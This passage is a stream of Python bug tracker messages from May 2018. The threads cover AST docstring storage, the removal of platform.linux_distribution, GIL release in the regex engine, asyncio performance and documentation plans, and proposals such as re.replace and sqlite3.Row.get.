From: report at bugs.python.org (INADA Naoki) Date: Fri, 25 May 2018 17:10:57 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527268257.29.0.682650639539.issue32911@psf.upfronthosting.co.za> INADA Naoki added the comment: > B. Revert the feature now for 3.7.0, retargeting for 3.8, and produce a 3.7.0b5 on a somewhat shorter cycle to allow downstream users to adapt to the removal. Please note that it can't be reverted simply. The change was introduced to ease AST-layer optimization (`"abc" + "def"` is not docstring, but `"abcdef"` is docstring.) And we implemented some AST-layer optimization already. There are two ways to revert the change: B1. Just remove `.docstring` attribute and implement hack to distinguish string and docstring in some places. B2. Remove `.docstring` attribute, but introduce `DocString` statement. This was my patch (PR-5927) In case of B2, thirdparty libraries should follow the change anyway. In case of IPython, `DocString(s="spam")` may be replaced with `Expr(Str(s="spam"))` In case of B1, I hadn't tried it yet and I don't know how difficult it is. I'll try but I can't say estimated time for now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 13:17:01 2018 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 25 May 2018 17:17:01 +0000 Subject: [issue20454] platform.linux_distribution() returns empty value on Archlinux and python 2.7 In-Reply-To: <1391166165.52.0.4413803514.issue20454@psf.upfronthosting.co.za> Message-ID: <1527268621.8.0.682650639539.issue20454@psf.upfronthosting.co.za> Petr Viktorin added the comment: linux_distribution is removed in Python 3.7. Closing. ---------- nosy: +petr.viktorin resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 13:18:16 2018 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 25 May 2018 17:18:16 +0000 Subject: [issue19213] platform.linux_distribution detects Oracle Linux as Red Hat Enterprise Linux In-Reply-To: <1381353298.1.0.0482171871073.issue19213@psf.upfronthosting.co.za> Message-ID: <1527268696.16.0.682650639539.issue19213@psf.upfronthosting.co.za> Petr Viktorin added the comment: linux_distribution is removed in Python 3.7. Closing. ---------- nosy: +petr.viktorin resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 13:20:40 2018 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 25 May 2018 17:20:40 +0000 Subject: [issue20454] platform.linux_distribution() returns empty value on Archlinux and python 2.7 In-Reply-To: <1391166165.52.0.4413803514.issue20454@psf.upfronthosting.co.za> Message-ID: <1527268840.5.0.682650639539.issue20454@psf.upfronthosting.co.za> Petr Viktorin added the comment: Er, sorry, I meant in 3.8. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 13:20:47 2018 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 25 May 2018 17:20:47 +0000 Subject: [issue19213] platform.linux_distribution detects Oracle Linux as Red Hat Enterprise Linux In-Reply-To: <1381353298.1.0.0482171871073.issue19213@psf.upfronthosting.co.za> Message-ID: <1527268847.14.0.682650639539.issue19213@psf.upfronthosting.co.za> Petr Viktorin added the comment: Er, sorry, I meant in 3.8. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 13:21:18 2018 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 25 May 2018 17:21:18 +0000 Subject: [issue18872] platform.linux_distribution() doesn't recognize Amazon Linux In-Reply-To: <1377723584.12.0.843452970556.issue18872@psf.upfronthosting.co.za> Message-ID: <1527268878.11.0.682650639539.issue18872@psf.upfronthosting.co.za> Petr Viktorin added the comment: linux_distribution is removed in Python 3.8. ---------- nosy: +petr.viktorin resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 13:31:03 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Fri, 25 May 2018 17:31:03 +0000 Subject: [issue1366311] SRE engine should release the GIL when/if possible Message-ID: <1527269463.38.0.682650639539.issue1366311@psf.upfronthosting.co.za> Barry A. Warsaw added the comment: I'm reopening this bug even though it's been long closed and even though the attached patch is no longer relevant. We recently found a degenerative performance problem with entrypoints and threads. As the number of threads increases, it becomes increasingly horrible to extract entrypoints. https://github.com/takluyver/entrypoints The problem is that entrypoints uses glob.iglob() to find the .{dist,egg}-info directory. iglob() uses regexps on a fairly simple pattern. GIL contention can cause entrypoint discovery with 16 threads to take ~10 seconds for all threads to complete. We have some test cases that I'll try to attach later, but since my bugs archeology found this bug, I decided to reopen it rather than start with a new bug. ---------- assignee: effbot -> components: +Extension Modules -None keywords: -patch nosy: +barry resolution: rejected -> status: closed -> open title: SRE engine do not release the GIL -> SRE engine should release the GIL when/if possible versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 13:42:31 2018 From: report at bugs.python.org (Jimmy Lai) Date: Fri, 25 May 2018 17:42:31 +0000 Subject: [issue33521] Add 1.32x faster C implementation of asyncio.isfuture(). In-Reply-To: <1526398292.34.0.682650639539.issue33521@psf.upfronthosting.co.za> Message-ID: <1527270151.11.0.682650639539.issue33521@psf.upfronthosting.co.za> Jimmy Lai added the comment: @vstinner In general, we would like to make all asyncio common functions efficient with C implementation because CPython asyncio overhead is very expensive. In our application, overall it costs about 10% global CPU instructions after we used UVLoop (it's much worse when use default event loop). gather() is only one of the high level function bottleneck. To make CPU overhead not a concern for asyncio user, we should make isfuture in C because it's called by many other event loop functions, e.g. in asyncio/tasks.py, asyncio/coroutines.py, asyncio/base_events.py ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 13:56:20 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 17:56:20 +0000 Subject: [issue33573] statistics.median does not work with ordinal scale, add doc In-Reply-To: <1526671785.76.0.682650639539.issue33573@psf.upfronthosting.co.za> Message-ID: <1527270980.94.0.682650639539.issue33573@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I agree. ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python, terry.reedy resolution: not a bug -> stage: -> needs patch title: statistics.median does not work with ordinal scale -> statistics.median does not work with ordinal scale, add doc type: behavior -> enhancement versions: +Python 3.6, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:00:17 2018 From: report at bugs.python.org (Armin Rigo) Date: Fri, 25 May 2018 18:00:17 +0000 Subject: [issue1366311] SRE engine should release the GIL when/if possible Message-ID: <1527271217.75.0.682650639539.issue1366311@psf.upfronthosting.co.za> Change by Armin Rigo : ---------- nosy: -arigo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:06:23 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 18:06:23 +0000 Subject: [issue33582] formatargspec deprecated but does nto emit DeprecationWarning. In-Reply-To: <1526770549.95.0.682650639539.issue33582@psf.upfronthosting.co.za> Message-ID: <1527271583.68.0.682650639539.issue33582@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- nosy: +yselivanov versions: -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:07:59 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 18:07:59 +0000 Subject: [issue33587] inspect.getsource performs unnecessary filesystem stat call In-Reply-To: <1526834329.07.0.682650639539.issue33587@psf.upfronthosting.co.za> Message-ID: <1527271679.54.0.682650639539.issue33587@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- nosy: +yselivanov title: inspect.getsource performs unnecessary filesystem stat call which is ignored in some circumstances -> inspect.getsource performs unnecessary filesystem stat call _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:08:34 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 18:08:34 +0000 Subject: [issue33587] inspect.getsource performs unnecessary filesystem stat call In-Reply-To: <1526834329.07.0.682650639539.issue33587@psf.upfronthosting.co.za> Message-ID: <1527271714.92.0.682650639539.issue33587@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- stage: -> patch review type: -> performance versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:13:09 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 18:13:09 +0000 Subject: [issue33594] add deprecation since 3.5 for a few methods of inspect. In-Reply-To: <1526938472.55.0.682650639539.issue33594@psf.upfronthosting.co.za> Message-ID: <1527271989.33.0.682650639539.issue33594@psf.upfronthosting.co.za> Terry J. Reedy added the comment: See also #33582 for 'formatargspec'. ---------- nosy: +terry.reedy, yselivanov versions: -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:15:26 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 25 May 2018 18:15:26 +0000 Subject: [issue33595] FIx references to lambda "arguments" In-Reply-To: <1526942753.14.0.682650639539.issue33595@psf.upfronthosting.co.za> Message-ID: <1527272126.49.0.682650639539.issue33595@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6754 stage: backport needed -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:18:52 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 25 May 2018 18:18:52 +0000 Subject: [issue33595] FIx references to lambda "arguments" In-Reply-To: <1526942753.14.0.682650639539.issue33595@psf.upfronthosting.co.za> Message-ID: <1527272332.07.0.682650639539.issue33595@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6755 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:20:05 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 25 May 2018 18:20:05 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527272405.13.0.682650639539.issue32911@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6756 stage: commit review -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:24:50 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 25 May 2018 18:24:50 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527272690.45.0.682650639539.issue32911@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: PR 7121 is based on PR 5927 and goes one step further. It doesn't introduce a new AST type DocString. Third-party code should not need any adaptation for 3.7. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:27:07 2018 From: report at bugs.python.org (Florian Schulze) Date: Fri, 25 May 2018 18:27:07 +0000 Subject: [issue33645] Importing bs4 fails with -3 option in Python 2.7.15 In-Reply-To: <1527239862.03.0.682650639539.issue33645@psf.upfronthosting.co.za> Message-ID: <1527272827.5.0.682650639539.issue33645@psf.upfronthosting.co.za> Florian Schulze added the comment: You are right, this actually happens with Python 2.7.14 as well. I was fooled by a warnings.filterwarnings matching to a path in my codebase. That one did match for my Python 2.7.15 testing but didn't for my Python 2.7.14 testing, because those were done in a temporary path which didn't match. I should have tried to narrow it down further first. I'm glad you found the necessary -We option. Thanks for looking into this and for the patch! I'm currently unable to test the patch though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:31:37 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 18:31:37 +0000 Subject: [issue33595] FIx references to lambda "arguments" In-Reply-To: <1526942753.14.0.682650639539.issue33595@psf.upfronthosting.co.za> Message-ID: <1527273097.46.0.682650639539.issue33595@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- pull_requests: +6757 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:38:11 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 18:38:11 +0000 Subject: [issue33595] FIx references to lambda "arguments" In-Reply-To: <1526942753.14.0.682650639539.issue33595@psf.upfronthosting.co.za> Message-ID: <1527273491.85.0.682650639539.issue33595@psf.upfronthosting.co.za> Terry J. Reedy added the comment: New changeset 804fcf66559992db9d23695e501c502ab20b7712 by Terry Jan Reedy in branch '2.7': [2.7] bpo-33595: Fix lambda parameters being refered as arguments (GH-7037) (GH-7122) https://github.com/python/cpython/commit/804fcf66559992db9d23695e501c502ab20b7712 ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:39:57 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 18:39:57 +0000 Subject: [issue33595] Fix references to lambda "arguments" In-Reply-To: <1526942753.14.0.682650639539.issue33595@psf.upfronthosting.co.za> Message-ID: <1527273597.19.0.682650639539.issue33595@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Thanks for the fix. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed title: FIx references to lambda "arguments" -> Fix references to lambda "arguments" _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:54:33 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 25 May 2018 18:54:33 +0000 Subject: [issue1366311] SRE engine should release the GIL when/if possible Message-ID: <1527274473.93.0.682650639539.issue1366311@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: It is possible to implement this feature, but it has some limitations. Did you try to use regex which has this feature? For short strings and simple patterns there may be no benefit. ---------- assignee: -> serhiy.storchaka nosy: +serhiy.storchaka type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 14:58:39 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Fri, 25 May 2018 18:58:39 +0000 Subject: [issue1366311] SRE engine should release the GIL when/if possible In-Reply-To: <1527274473.93.0.682650639539.issue1366311@psf.upfronthosting.co.za> Message-ID: <4F95D49C-4371-4344-AF87-81A8AAF7865A@python.org> Barry A. Warsaw added the comment: > Did you try to use regex which has this feature? For short strings and simple patterns there may be no benefit. In my use case, it?s not possible, since the problematic API is glob.iglob() through multiple levels of calls. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 15:35:42 2018 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 25 May 2018 19:35:42 +0000 Subject: [issue32841] Asyncio.Condition prevents cancellation In-Reply-To: <1518557402.2.0.467229070634.issue32841@psf.upfronthosting.co.za> Message-ID: <1527276942.9.0.682650639539.issue32841@psf.upfronthosting.co.za> Yury Selivanov added the comment: Should this issue be closed now? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 15:37:59 2018 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 25 May 2018 19:37:59 +0000 Subject: [issue32672] .then execution of actions following a future's completion In-Reply-To: <1516939465.12.0.467229070634.issue32672@psf.upfronthosting.co.za> Message-ID: <1527277079.97.0.682650639539.issue32672@psf.upfronthosting.co.za> Yury Selivanov added the comment: Closing this one. I don't see us adding Future.then. Feel free to discuss on the MLs. ---------- components: +asyncio -Library (Lib) nosy: +asvetlov, yselivanov resolution: -> rejected stage: patch review -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 15:39:53 2018 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 25 May 2018 19:39:53 +0000 Subject: [issue30698] asyncio sslproto do not shutdown ssl layer cleanly In-Reply-To: <1497823715.09.0.154341862456.issue30698@psf.upfronthosting.co.za> Message-ID: <1527277193.19.0.682650639539.issue30698@psf.upfronthosting.co.za> Yury Selivanov added the comment: Is this issue resolved now, or do we need to work on this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 15:40:43 2018 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 25 May 2018 19:40:43 +0000 Subject: [issue32528] Change base class for futures.CancelledError In-Reply-To: <1515601875.1.0.467229070634.issue32528@psf.upfronthosting.co.za> Message-ID: <1527277243.97.0.682650639539.issue32528@psf.upfronthosting.co.za> Yury Selivanov added the comment: Closing this issue as I, personally, don't see this happening and there's no point in keeping it open. ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 15:41:48 2018 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 25 May 2018 19:41:48 +0000 Subject: [issue31096] asyncio.stream.FlowControlMixin._drain_helper may lead to a blocking behavior In-Reply-To: <1501573266.21.0.530489547005.issue31096@psf.upfronthosting.co.za> Message-ID: <1527277308.71.0.682650639539.issue31096@psf.upfronthosting.co.za> Yury Selivanov added the comment: Andrew, what are your thoughts on this one? ---------- nosy: +asvetlov versions: +Python 3.8 -Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 15:43:11 2018 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 25 May 2018 19:43:11 +0000 Subject: [issue31647] asyncio: StreamWriter write_eof() after close raises mysterious AttributeError In-Reply-To: <1506746563.39.0.213398074469.issue31647@psf.upfronthosting.co.za> Message-ID: <1527277391.92.0.682650639539.issue31647@psf.upfronthosting.co.za> Yury Selivanov added the comment: If this issue isn't yet fixed could you please submit a PR? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 15:46:18 2018 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 25 May 2018 19:46:18 +0000 Subject: [issue30145] Create a How to or Tutorial documentation for asyncio In-Reply-To: <1492960602.26.0.461554169011.issue30145@psf.upfronthosting.co.za> Message-ID: <1527277578.06.0.682650639539.issue30145@psf.upfronthosting.co.za> Yury Selivanov added the comment: Closing this issue. I'll open a new one for the planned asyncio docs overhaul. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 15:48:42 2018 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 25 May 2018 19:48:42 +0000 Subject: [issue33649] asyncio docs overhaul Message-ID: <1527277722.54.0.682650639539.issue33649@psf.upfronthosting.co.za> New submission from Yury Selivanov : An overhaul of asyncio documentation is long overdue. Here's the structure for it that I have in mind: - Introduction (what is asyncio and async/await) - A quick tutorial (show how to use asyncio.run() and basic functions like asyncio.sleep() and teach that asyncio programs are all about async/await and *not* about callbacks or event loops) - High-level APIs (Tasks, Streams, Subprocesses, few other functions) - Low-level APIs - Preface (talk a bit about everything: what's an event loop, what is a Future and a Transport) - Futures - Event loop APIs - Transports and Protocols (when to use and when not to use them) - Tutorials - High-level networking server - HTTP application - Low-level protocol implementation using Transports - etc ---------- assignee: docs at python components: Documentation, asyncio messages: 317709 nosy: akuchling, asvetlov, docs at python, yselivanov priority: normal severity: normal status: open title: asyncio docs overhaul type: enhancement versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 15:57:43 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 19:57:43 +0000 Subject: [issue33647] Add re.replace(string, replacement_map) In-Reply-To: <1527252737.56.0.682650639539.issue33647@psf.upfronthosting.co.za> Message-ID: <1527278263.76.0.682650639539.issue33647@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Your proposal is underspecified. (And 'yours' is inconsistent with 'your';-). If you want sequential replacememt in multiple scans, make sequential replace calls. Use a loop if the number of replacement scans is variable or large. To be sure of the order of replacements, a sequence is better than a dict, but dict.values() instead would work in the following code. s = 'this is my string' for old, new in (('my', 'your'), ('string', 'car')): s = s.replace(old, new) print(s) If you want parallel replacement in a single scan, a different scanner is required. If the keys (search strings) are all single letters, one should use str.translate. For a general string to string mapping, use re.sub with a replacement function that does a lookup. import re s = 'this is my string' subs = {'my': 'your', 'string': 'car'} print(re.sub('|'.join(subs), lambda m: subs[m.group(0)], s)) In any case, the proposal to modify str.replace should be rejected. However, the re code is not completely trivial (I did not work it out until now), so I think it plausible to add the following to the re module. def replace(string, map): """Return a string with map keys replaced by their values. *string* is scanned once for non-overlapping occurrences of keys. """ return sub('|'.join(map), lambda m: map[m.group(0)], string) I would reference this in the str.translate entry for when keys are not restricted to letters. If adding replace() is rejected, I would like an example added to the sub(pattern, function, string) examples. ---------- nosy: +serhiy.storchaka, terry.reedy stage: -> test needed title: Make string.replace accept a dict instead of two arguments -> Add re.replace(string, replacement_map) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 16:00:49 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 20:00:49 +0000 Subject: [issue33598] ActiveState Recipes links in docs, and the apparent closure of Recipes In-Reply-To: <1526981626.86.0.682650639539.issue33598@psf.upfronthosting.co.za> Message-ID: <1527278449.48.0.682650639539.issue33598@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Can you check the copyright and license of the recipe text and code? ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 16:02:22 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Fri, 25 May 2018 20:02:22 +0000 Subject: [issue33649] asyncio docs overhaul In-Reply-To: <1527277722.54.0.682650639539.issue33649@psf.upfronthosting.co.za> Message-ID: <1527278542.88.0.682650639539.issue33649@psf.upfronthosting.co.za> Change by Barry A. Warsaw : ---------- nosy: +barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 16:10:16 2018 From: report at bugs.python.org (Alex Walters) Date: Fri, 25 May 2018 20:10:16 +0000 Subject: [issue33598] ActiveState Recipes links in docs, and the apparent closure of Recipes In-Reply-To: <1526981626.86.0.682650639539.issue33598@psf.upfronthosting.co.za> Message-ID: <1527279016.5.0.682650639539.issue33598@psf.upfronthosting.co.za> Alex Walters added the comment: All recipes are MIT licensed unless otherwise noted on the recipe itself. However, AFAICT, all the recipes that are linked to in the docs are written by Raymond Hettinger, so I don't think licensing will be that big of an issue. We know where he is, we can ask him, and he has signed a CLA. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 16:11:28 2018 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Fri, 25 May 2018 20:11:28 +0000 Subject: [issue33598] ActiveState Recipes links in docs, and the apparent closure of Recipes In-Reply-To: <1526981626.86.0.682650639539.issue33598@psf.upfronthosting.co.za> Message-ID: <1527279088.89.0.682650639539.issue33598@psf.upfronthosting.co.za> Marc-Andre Lemburg added the comment: I'd suggest to contact ActiveState first before jumping to conclusions. ---------- nosy: +lemburg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 16:15:02 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 20:15:02 +0000 Subject: [issue33598] ActiveState Recipes links in docs, and the apparent closure of Recipes In-Reply-To: <1526981626.86.0.682650639539.issue33598@psf.upfronthosting.co.za> Message-ID: <1527279302.59.0.682650639539.issue33598@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The Python Cookbook, based on the site, says that copyright of each recipe is retained by original authors. If so authors who have signed the PSF CLA can contribute their own work. Since Active State must have collectively licensed the recipes to O'Reilly, they could do the same for us. But if Raymond is the only author concerned, that should not be necessary. ---------- nosy: -lemburg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 16:17:45 2018 From: report at bugs.python.org (Bar Harel) Date: Fri, 25 May 2018 20:17:45 +0000 Subject: [issue32841] Asyncio.Condition prevents cancellation In-Reply-To: <1518557402.2.0.467229070634.issue32841@psf.upfronthosting.co.za> Message-ID: <1527279465.27.0.682650639539.issue32841@psf.upfronthosting.co.za> Bar Harel added the comment: Yup. Thanks Yuri :-) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 16:24:36 2018 From: report at bugs.python.org (Brett Cannon) Date: Fri, 25 May 2018 20:24:36 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527279876.7.0.682650639539.issue32911@psf.upfronthosting.co.za> Brett Cannon added the comment: Just to quickly touch on Matthias' question about opt-in or deprecations, a key thing to note is the ast module is automatically generated from the ASDL file, so either of those approaches would require developing a new mechanism in the code generator to support either approach. ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 16:56:35 2018 From: report at bugs.python.org (Yury Selivanov) Date: Fri, 25 May 2018 20:56:35 +0000 Subject: [issue33650] Prohibit adding a signal handler for SIGCHLD Message-ID: <1527281795.42.0.682650639539.issue33650@psf.upfronthosting.co.za> New submission from Yury Selivanov : Doing that will break subprocesses. ---------- components: asyncio messages: 317717 nosy: asvetlov, yselivanov priority: normal severity: normal status: open title: Prohibit adding a signal handler for SIGCHLD versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 16:59:50 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Fri, 25 May 2018 20:59:50 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527281990.01.0.682650639539.issue32911@psf.upfronthosting.co.za> Matthias Bussonnier added the comment: > Just to quickly touch on Matthias' question about opt-in or deprecations, a key thing to note is the ast module is automatically generated from the ASDL file, so either of those approaches would require developing a new mechanism in the code generator to support either approach. Yes, I was mostly thinking of `compile(..., mode, flags=PyAstOnly)` as to where the deprecation could be. Thinking a bit more about the `compile`'s `multiline` option, that would also be quite useful to allow some construct that are so far forbidden, like top-level `await`. I'm thinking that splitting `exec` into two options: - `module` which could do what current 3.7 does and find docstrings plus do some optimisation and sanity check if necessary, prevent top-level await. - `multiline` which would treat the source as a sequence of statement, allwo top level `await` ... etc. this could allow both to evolve and have their individual advantage, leaving `exec` unchanged for legacy reasons. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 17:58:55 2018 From: report at bugs.python.org (Wilfredo Sanchez) Date: Fri, 25 May 2018 21:58:55 +0000 Subject: [issue33651] Add get() method to sqlite3.Row class Message-ID: <1527285535.19.0.682650639539.issue33651@psf.upfronthosting.co.za> New submission from Wilfredo Sanchez : The sqlite3.Row class has mapping-like behavior but does not implement the get() method, so providing default values in code requires a bit of boilerplate that is not necessary with dictionaries. ---------- components: Library (Lib) messages: 317719 nosy: wsanchez priority: normal severity: normal status: open title: Add get() method to sqlite3.Row class type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 18:07:40 2018 From: report at bugs.python.org (Wilfredo Sanchez) Date: Fri, 25 May 2018 22:07:40 +0000 Subject: [issue33510] [logging] add JSON log formatter In-Reply-To: <1526336420.56.0.682650639539.issue33510@psf.upfronthosting.co.za> Message-ID: <1527286060.05.0.682650639539.issue33510@psf.upfronthosting.co.za> Wilfredo Sanchez added the comment: Please consider using RFC 7464 (JSON Text Sequences). This allows detection of truncated JSON events without losing the following event. It allows newlines in the JSON data. All this involves is adding an RS between events. ---------- nosy: +wsanchez _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 20:10:45 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 26 May 2018 00:10:45 +0000 Subject: [issue33521] Add 1.32x faster C implementation of asyncio.isfuture(). In-Reply-To: <1527270151.11.0.682650639539.issue33521@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: I disagree with your rationale. At least, it is not how we decide to optimize something or not in Python. Python is first made of people who will have to maintain the code for the next 5 years if not longer. C code is harder to maintain than Python code. A significant speedup on a microbenchmark is nice, but asyncio still lacks a more general benchmark suite... I have no opinion on this specific optimisation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 20:14:20 2018 From: report at bugs.python.org (Yury Selivanov) Date: Sat, 26 May 2018 00:14:20 +0000 Subject: [issue33521] Add 1.32x faster C implementation of asyncio.isfuture(). In-Reply-To: <1526398292.34.0.682650639539.issue33521@psf.upfronthosting.co.za> Message-ID: <1527293660.28.0.682650639539.issue33521@psf.upfronthosting.co.za> Yury Selivanov added the comment: IMO this particular patch is OK and should go in. I'll take another look at the PR in a few days (and will run some benchmarks myself before making the decision). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 20:20:03 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 26 May 2018 00:20:03 +0000 Subject: [issue33651] Add get() method to sqlite3.Row class In-Reply-To: <1527285535.19.0.682650639539.issue33651@psf.upfronthosting.co.za> Message-ID: <1527294003.86.0.682650639539.issue33651@psf.upfronthosting.co.za> Raymond Hettinger added the comment: How is this needed? SQL queries return rows that are homogenous and with known fields. This is isn't like other dictionaries when you might not know in advance whether a given key is present. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 20:21:18 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 26 May 2018 00:21:18 +0000 Subject: [issue33647] Add re.replace(string, replacement_map) In-Reply-To: <1527252737.56.0.682650639539.issue33647@psf.upfronthosting.co.za> Message-ID: <1527294078.4.0.682650639539.issue33647@psf.upfronthosting.co.za> Raymond Hettinger added the comment: > I would like an example added to the sub(pattern, function, > string) examples. That seems like the most reasonable way to go. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 23:22:21 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 26 May 2018 03:22:21 +0000 Subject: [issue33598] ActiveState Recipes links in docs, and the apparent closure of Recipes In-Reply-To: <1526981626.86.0.682650639539.issue33598@psf.upfronthosting.co.za> Message-ID: <1527304941.19.0.682650639539.issue33598@psf.upfronthosting.co.za> Raymond Hettinger added the comment: > I have seen no official announcement of a 